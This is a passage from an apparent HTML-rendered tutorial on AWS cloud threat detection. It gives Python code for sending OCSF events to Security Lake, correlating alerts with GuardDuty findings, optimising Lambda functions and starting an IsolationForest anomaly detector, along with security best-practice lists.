            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to send to Security Lake: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    
    <span class="k">def</span> <span class="nf">map_severity_to_id</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">severity</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">int</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Map severity string to OCSF severity ID</span><span class="sh">"""</span>
        <span class="n">severity_mapping</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="p">:</span> <span class="mi">5</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">:</span> <span class="mi">4</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">:</span> <span class="mi">3</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">info</span><span class="sh">'</span><span class="p">:</span> <span class="mi">1</span>
        <span class="p">}</span>
        <span class="k">return</span> <span class="n">severity_mapping</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">severity</span><span class="p">.</span><span class="nf">lower</span><span class="p">(),</span> <span class="mi">3</span><span class="p">)</span>
    
    <span class="k">def</span> <span class="nf">map_confidence_to_id</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">confidence</span><span class="p">:</span> <span class="nb">float</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">int</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Map confidence score to OCSF confidence ID</span><span class="sh">"""</span>
        <span class="k">if</span> <span class="n">confidence</span> <span class="o">&gt;=</span> <span class="mf">0.9</span><span class="p">:</span>
            <span class="k">return</span> <span class="mi">4</span>  <span class="c1"># High
</span>        <span class="k">elif</span> <span class="n">confidence</span> <span class="o">&gt;=</span> <span class="mf">0.7</span><span class="p">:</span>
            <span class="k">return</span> <span class="mi">3</span>  <span class="c1"># Medium
</span>        <span class="k">elif</span> <span class="n">confidence</span> <span class="o">&gt;=</span> <span class="mf">0.5</span><span class="p">:</span>
            <span class="k">return</span> <span class="mi">2</span>  <span class="c1"># Low
</span>        <span class="k">else</span><span class="p">:</span>
            <span class="k">return</span> <span class="mi">1</span>  <span class="c1"># Unknown
</span>    
    <span class="k">def</span> <span class="nf">store_in_security_lake_bucket</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">ocsf_event</span><span class="p">:</span> <span class="nb">dict</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Store OCSF event in Security Lake S3 bucket</span><span class="sh">"""</span>
        <span class="kn">import</span> <span class="n">json</span>
        <span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">date</span>
        
        <span class="c1"># Generate partition path (year/month/day/hour)
</span>        <span class="n">now</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">(</span><span class="n">timezone</span><span class="p">.</span><span class="n">utc</span><span class="p">)</span>
        <span class="n">partition_path</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">year=</span><span class="si">{</span><span class="n">now</span><span class="p">.</span><span class="n">year</span><span class="si">}</span><span class="s">/month=</span><span class="si">{</span><span class="n">now</span><span class="p">.</span><span class="n">month</span><span class="si">:</span><span class="mi">02</span><span class="n">d</span><span class="si">}</span><span class="s">/day=</span><span class="si">{</span><span class="n">now</span><span class="p">.</span><span class="n">day</span><span class="si">:</span><span class="mi">02</span><span class="n">d</span><span class="si">}</span><span class="s">/hour=</span><span class="si">{</span><span class="n">now</span><span class="p">.</span><span class="n">hour</span><span class="si">:</span><span class="mi">02</span><span class="n">d</span><span class="si">}</span><span class="sh">"</span>
        
        <span class="c1"># Generate unique filename
</span>        <span class="n">filename</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">threat-detection-</span><span class="si">{</span><span class="n">now</span><span class="p">.</span><span class="nf">strftime</span><span class="p">(</span><span class="sh">'</span><span class="s">%Y%m%d%H%M%S</span><span class="sh">'</span><span class="p">)</span><span class="si">}</span><span class="s">-</span><span class="si">{</span><span class="n">now</span><span class="p">.</span><span class="n">microsecond</span><span class="si">}</span><span class="s">.json</span><span class="sh">"</span>
        
        <span class="c1"># S3 key path
</span>        <span class="n">s3_key</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">aws-security-data-lake/threat-detection/</span><span class="si">{</span><span class="n">partition_path</span><span class="si">}</span><span class="s">/</span><span class="si">{</span><span class="n">filename</span><span class="si">}</span><span class="sh">"</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="n">self</span><span class="p">.</span><span class="n">s3</span><span class="p">.</span><span class="nf">put_object</span><span class="p">(</span>
                <span class="n">Bucket</span><span class="o">=</span><span class="sh">'</span><span class="s">aws-security-data-lake-bucket</span><span class="sh">'</span><span class="p">,</span>
                <span class="n">Key</span><span class="o">=</span><span class="n">s3_key</span><span class="p">,</span>
                <span class="n">Body</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="n">ocsf_event</span><span class="p">),</span>
                <span class="n">ContentType</span><span class="o">=</span><span class="sh">'</span><span class="s">application/json</span><span class="sh">'</span>
            <span class="p">)</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to store in Security Lake bucket: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="guardduty-integration">GuardDuty Integration</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>

<span class="k">class</span> <span class="nc">GuardDutyIntegration</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">guardduty</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">guardduty</span><span class="sh">'</span><span class="p">)</span>
        
    <span class="k">def</span> <span class="nf">correlate_with_guardduty_findings</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">threat_data</span><span class="p">:</span> <span class="nb">dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">list</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Correlate Lambda threat detection with GuardDuty findings</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Get GuardDuty detector ID
</span>            <span class="n">detectors</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">guardduty</span><span class="p">.</span><span class="nf">list_detectors</span><span class="p">()</span>
            <span class="k">if</span> <span class="ow">not</span> <span class="n">detectors</span><span class="p">[</span><span class="sh">'</span><span class="s">DetectorIds</span><span class="sh">'</span><span class="p">]:</span>
                <span class="k">return</span> <span class="p">[]</span>
            
            <span class="n">detector_id</span> <span class="o">=</span> <span class="n">detectors</span><span class="p">[</span><span class="sh">'</span><span class="s">DetectorIds</span><span class="sh">'</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span>
            
            <span class="c1"># Get recent findings
</span>            <span class="n">findings_response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">guardduty</span><span class="p">.</span><span class="nf">list_findings</span><span class="p">(</span>
                <span class="n">DetectorId</span><span class="o">=</span><span class="n">detector_id</span><span class="p">,</span>
                <span class="n">FindingCriteria</span><span class="o">=</span><span class="p">{</span>
                    <span class="sh">'</span><span class="s">Criterion</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">updatedAt</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">'</span><span class="s">Gte</span><span class="sh">'</span><span class="p">:</span> <span class="nf">int</span><span class="p">((</span><span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">()</span> <span class="o">-</span> <span class="nf">timedelta</span><span class="p">(</span><span class="n">hours</span><span class="o">=</span><span class="mi">1</span><span class="p">)).</span><span class="nf">timestamp</span><span class="p">()</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">)</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">)</span>
            
            <span class="c1"># Get detailed finding information
</span>            <span class="n">correlated_findings</span> <span class="o">=</span> <span class="p">[]</span>
            <span class="k">if</span> <span class="n">findings_response</span><span class="p">[</span><span class="sh">'</span><span class="s">FindingIds</span><span class="sh">'</span><span class="p">]:</span>
                <span class="n">findings_details</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">guardduty</span><span class="p">.</span><span class="nf">get_findings</span><span class="p">(</span>
                    <span class="n">DetectorId</span><span class="o">=</span><span class="n">detector_id</span><span class="p">,</span>
                    <span class="n">FindingIds</span><span class="o">=</span><span class="n">findings_response</span><span class="p">[</span><span class="sh">'</span><span class="s">FindingIds</span><span class="sh">'</span><span class="p">]</span>
                <span class="p">)</span>
                
                <span class="c1"># Correlate based on IP address, user identity, etc.
</span>                <span class="k">for</span> <span class="n">finding</span> <span class="ow">in</span> <span class="n">findings_details</span><span class="p">[</span><span class="sh">'</span><span class="s">Findings</span><span class="sh">'</span><span class="p">]:</span>
                    <span class="k">if</span> <span class="n">self</span><span class="p">.</span><span class="nf">is_correlated_finding</span><span class="p">(</span><span class="n">finding</span><span class="p">,</span> <span class="n">threat_data</span><span class="p">):</span>
                        <span class="n">correlated_findings</span><span class="p">.</span><span class="nf">append</span><span class="p">({</span>
                            <span class="sh">'</span><span class="s">guardduty_finding_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">finding</span><span class="p">[</span><span class="sh">'</span><span class="s">Id</span><span class="sh">'</span><span class="p">],</span>
                            <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="n">finding</span><span class="p">[</span><span class="sh">'</span><span class="s">Type</span><span class="sh">'</span><span class="p">],</span>
                            <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="n">finding</span><span class="p">[</span><span class="sh">'</span><span class="s">Severity</span><span class="sh">'</span><span class="p">],</span>
                            <span class="sh">'</span><span class="s">title</span><span class="sh">'</span><span class="p">:</span> <span class="n">finding</span><span class="p">[</span><span class="sh">'</span><span class="s">Title</span><span class="sh">'</span><span class="p">],</span>
                            <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="n">finding</span><span class="p">[</span><span class="sh">'</span><span class="s">Description</span><span class="sh">'</span><span class="p">]</span>
                        <span class="p">})</span>
            
            <span class="k">return</span> <span class="n">correlated_findings</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to correlate with GuardDuty: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">return</span> <span class="p">[]</span>
    
    <span class="k">def</span> <span class="nf">is_correlated_finding</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">guardduty_finding</span><span class="p">:</span> <span class="nb">dict</span><span class="p">,</span> <span class="n">threat_data</span><span class="p">:</span> <span class="nb">dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Check if GuardDuty finding correlates with threat detection</span><span class="sh">"""</span>
        
        <span class="c1"># Check IP address correlation
</span>        <span class="n">threat_ip</span> <span class="o">=</span> <span class="n">threat_data</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">source_ip</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
        <span class="n">gd_remote_ip</span> <span class="o">=</span> <span class="n">guardduty_finding</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">Service</span><span class="sh">'</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">RemoteIpDetails</span><span class="sh">'</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">IpAddressV4</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
        
        <span class="k">if</span> <span class="n">threat_ip</span> <span class="ow">and</span> <span class="n">gd_remote_ip</span> <span class="ow">and</span> <span class="n">threat_ip</span> <span class="o">==</span> <span class="n">gd_remote_ip</span><span class="p">:</span>
            <span class="k">return</span> <span class="bp">True</span>
        
        <span class="c1"># Check user identity correlation
</span>        <span class="n">threat_user</span> <span class="o">=</span> <span class="n">threat_data</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">user_identity</span><span class="sh">'</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">principalId</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
        <span class="n">gd_access_key</span> <span class="o">=</span> <span class="n">guardduty_finding</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">Service</span><span class="sh">'</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">AccessKeyDetails</span><span class="sh">'</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">AccessKeyId</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
        
        <span class="k">if</span> <span class="n">threat_user</span> <span class="ow">and</span> <span class="n">gd_access_key</span> <span class="ow">and</span> <span class="n">threat_user</span><span class="p">.</span><span class="nf">endswith</span><span class="p">(</span><span class="n">gd_access_key</span><span class="p">):</span>
            <span class="k">return</span> <span class="bp">True</span>
        
        <span class="c1"># Check resource correlation
</span>        <span class="n">threat_resources</span> <span class="o">=</span> <span class="n">threat_data</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">resources</span><span class="sh">'</span><span class="p">,</span> <span class="p">[])</span>
        <span class="n">gd_resource</span> <span class="o">=</span> <span class="n">guardduty_finding</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">Resource</span><span class="sh">'</span><span class="p">,</span> <span class="p">{})</span>
        
        <span class="c1"># Add more correlation logic as needed
</span>        
        <span class="k">return</span> <span class="bp">False</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="best-practices-and-recommendations">Best Practices and Recommendations</h2>

<h3 id="implementation-guidelines">Implementation Guidelines</h3>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Incremental Deployment</strong>: Start with CloudTrail monitoring, gradually add automated responses</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Testing Strategy</strong>: Use test AWS accounts to validate detection logic before production deployment</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Confidence Thresholds</strong>: Set conservative confidence thresholds (&gt;0.8) for automated responses</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Backup Detection</strong>: Maintain redundant detection mechanisms across multiple AWS services</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Rate Limiting</strong>: Implement rate limiting to prevent response system abuse</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Audit Logging</strong>: Log all automated response actions for compliance and review</li>
</ul>

<h3 id="security-considerations">Security Considerations</h3>

<p><strong>Access Control</strong>:</p>
<ul>
  <li>Use least-privilege IAM policies for Lambda functions</li>
  <li>Implement cross-account role assumptions with external ID validation</li>
  <li>Enable MFA for administrative access to security functions</li>
  <li>Regularly rotate Lambda function execution role credentials</li>
</ul>

<p><strong>Data Protection</strong>:</p>
<ul>
  <li>Encrypt all CloudTrail logs using AWS KMS customer-managed keys</li>
  <li>Enable S3 bucket encryption for all security data storage</li>
  <li>Use VPC endpoints for service communication to avoid internet transit</li>
  <li>Implement data retention policies aligned with compliance requirements</li>
</ul>

<p><strong>Monitoring and Alerting</strong>:</p>
<ul>
  <li>Set up CloudWatch alarms for Lambda function errors and duration</li>
  <li>Monitor SNS topic delivery failures and dead letter queues</li>
  <li>Track Security Hub finding creation and resolution metrics</li>
  <li>Implement dashboard visualization for security operations center (SOC)</li>
</ul>

<h3 id="performance-optimization">Performance Optimization</h3>

<p><strong>Lambda Function Optimization</strong>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="rouge-code"><pre><span class="c1"># Optimize Lambda performance with connection reuse
</span><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">from</span> <span class="n">functools</span> <span class="kn">import</span> <span class="n">lru_cache</span>

<span class="c1"># Global clients for connection reuse
</span><span class="n">sns_client</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">sns</span><span class="sh">'</span><span class="p">)</span>
<span class="n">security_hub_client</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">securityhub</span><span class="sh">'</span><span class="p">)</span>

<span class="nd">@lru_cache</span><span class="p">(</span><span class="n">maxsize</span><span class="o">=</span><span class="mi">1000</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">get_user_baseline_behavior</span><span class="p">(</span><span class="n">user_id</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">dict</span><span class="p">:</span>
    <span class="sh">"""</span><span class="s">Cache user behavior baselines to reduce API calls</span><span class="sh">"""</span>
    <span class="c1"># Implementation for baseline behavior lookup
</span>    <span class="k">pass</span>

<span class="c1"># Use environment variables for configuration
</span><span class="kn">import</span> <span class="n">os</span>
<span class="n">SNS_TOPIC_ARN</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">SNS_TOPIC_ARN</span><span class="sh">'</span><span class="p">)</span>
<span class="n">CONFIDENCE_THRESHOLD</span> <span class="o">=</span> <span class="nf">float</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">CONFIDENCE_THRESHOLD</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">0.8</span><span class="sh">'</span><span class="p">))</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Cost Optimization</strong>:</p>
<ul>
  <li>Use Lambda provisioned concurrency for predictable workloads</li>
  <li>Implement intelligent batching for Security Hub findings</li>
  <li>Use S3 Intelligent Tiering for CloudTrail log storage</li>
  <li>Monitor and optimize Lambda memory allocation based on actual usage</li>
</ul>

<h2 id="advanced-topics">Advanced Topics</h2>

<h3 id="machine-learning-enhancement">Machine Learning Enhancement</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">from</span> <span class="n">sklearn.ensemble</span> <span class="kn">import</span> <span class="n">IsolationForest</span>
<span class="kn">import</span> <span class="n">joblib</span>

<span class="k">class</span> <span class="nc">MLThreatDetector</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">s3</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">s3</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">model_bucket</span> <span class="o">=</span> <span class="sh">'</span><span class="s">ml-threat-detection-models</span><span class="sh">'</span>
        <span class="n">self</span><span class="p">.</span><span class="n">isolation_forest</span> <span class="o">=</span> <span class="bp">None</span>
        
    <span class="k">def</span> <span class="nf">load_anomaly_detection_model</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Load pre-trained anomaly detection model</span><span class="sh">"""</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Download model from S3
</span>            <span class="n">model_key</span> <span class="o">=</span> <span class="sh">'</span><span class="s">isolation_forest_model.joblib</span><span class="sh">'</span>
            <span class="n">local_model_path</span> <span class="o">=</span> <span class="sh">'</span><span class="s">/tmp/isolation_forest_model.joblib</span><span class="sh">'</span>
            
            <span class="n">self</span><span class="p">.</span><span class="n">s3</span><span class="p">.</span><span class="nf">download_file</span><span class="p">(</span>
                <span class="n">self</span><span class="p">.</span><span class="n">model_bucket</span><span class="p">,</span>
                <span class="n">model_key</span><span class="p">,</span>
                <span class="n">local_model_path</span>
            <span class="p">)</span>
            
            <span class="c1"># Load model
</span>            <span class="n">self</span><span class="p">.</span><span class="n">isolation_forest</span> <span class="o">=</span> <span class="n">joblib</span><span class="p">.</span><span class="nf">load</span><span class="p">(</span><span class="n">local_model_path</span><span class="p">)</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to load ML model: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="c1"># Fallback to basic rule-based detection
</span>            <span class="n">self</span><span class="p">.</span><span class="n">isolation_forest</span> <span class="o">=</span> <span class="bp">None</span>
    
    <span class="k">def</span> <span class="nf">extract_features</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">event_record</span><span class="p">:</span> <span class="nb">dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">list</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Extract numerical features from CloudTrail event</span><span class="sh">"""</span>
        <span class="n">features</span> <span class="o">=</span> <span class="p">[]</span>
        
        <span class="c1"># Time-based features
</span>        <span class="n">event_time</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">fromisoformat</span><span class="p">(</span><span class="n">event_record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">eventTime</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">).</span><span class="nf">replace</span><span class="p">(</span><span class="sh">'</span><span class="s">Z</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">+00:00</span><span class="sh">'</span><span class="p">))</span>
        <span class="n">features</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">event_time</span><span class="p">.</span><span class="n">hour</span><span class="p">)</span>  <span class="c1"># Hour of day
</span>        <span class="n">features</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">event_time</span><span class="p">.</span><span class="nf">weekday</span><span class="p">())</span>  <span class="c1"># Day of week
</span>        
        <span class="c1"># Source IP features
</span>        <span class="n">source_ip</span> <span class="o">=</span> <span class="n">event_record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">sourceIPAddress</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">source_ip</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">source_ip</span><span class="p">.</span><span class="nf">startswith</span><span class="p">(</span><span class="sh">'</span><span class="s">AWS</span><span class="sh">'</span><span class="p">):</span>
            <span class="n">ip_parts</span> <span class="o">=</span> <span class="n">source_ip</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">.</span><span class="sh">'</span><span class="p">)</span>
            <span class="n">features</span><span class="p">.</span><span class="nf">extend</span><span class="p">([</span><span class="nf">int</span><span class="p">(</span><span class="n">part</span><span class="p">)</span> <span class="k">for</span> <span class="n">part</span> <span class="ow">in</span> <span class="n">ip_parts</span><span class="p">])</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="n">features</span><span class="p">.</span><span class="nf">extend</span><span class="p">([</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">])</span>  <span class="c1"># AWS internal
</span>        
        <span class="c1"># Event characteristics
</span>        <span class="n">features</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">event_record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">eventName</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)))</span>
        <span class="n">features</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="mi">1</span> <span class="k">if</span> <span class="n">event_record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">errorCode</span><span class="sh">'</span><span class="p">)</span> <span class="k">else</span> <span class="mi">0</span><span class="p">)</span>
        <span class="n">features</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">event_record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">resources</span><span class="sh">'</span><span class="p">,</span> <span class="p">[])))</span>
        
        <span class="c1"># User agent features
</span>        <span class="n">user_agent</span> <span class="o">=</span> <span class="n">event_record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">userAgent</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
        <span class="n">features</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">user_agent</span><span class="p">))</span>
        <span class="n">features</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="mi">1</span> <span class="k">if</span> <span class="sh">'</span><span class="s">boto</span><span class="sh">'</span> <span class="ow">in</span> <span class="n">user_agent</span><span class="p">.</span><span class="nf">lower</span><span class="p">()</span> <span class="k">else</span> <span class="mi">0</span><span class="p">)</span>
        <span class="n">features</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="mi">1</span> <span class="k">if</span> <span class="sh">'</span><span class="s">aws-cli</span><span class="sh">'</span> <span class="ow">in</span> <span class="n">user_agent</span><span class="p">.</span><span class="nf">lower</span><span class="p">()</span> <span class="k">else</span> <span class="mi">0</span><span class="p">)</span>
        
        <span class="k">return</span> <span class="n">features</span>
    
    <span class="k">def</span> <span class="nf">detect_anomalies</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">event_record</span><span class="p">:</span> <span class="nb">dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">float</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Use ML model to detect anomalies</span><span class="sh">"""</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">self</span><span class="p">.</span><span class="n">isolation_forest</span><span class="p">:</span>
            <span class="k">return</span> <span class="mf">0.5</span>  <span class="c1"># Neutral score if model not available
</span>        
        <span class="k">try</span><span class="p">:</span>
            <span class="n">features</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">extract_features</span><span class="p">(</span><span class="n">event_record</span><span class="p">)</span>
            <span class="n">features_array</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="nf">array</span><span class="p">(</span><span class="n">features</span><span class="p">).</span><span class="nf">reshape</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span>
            
            <span class="c1"># Get anomaly score (-1 for anomaly, 1 for normal)
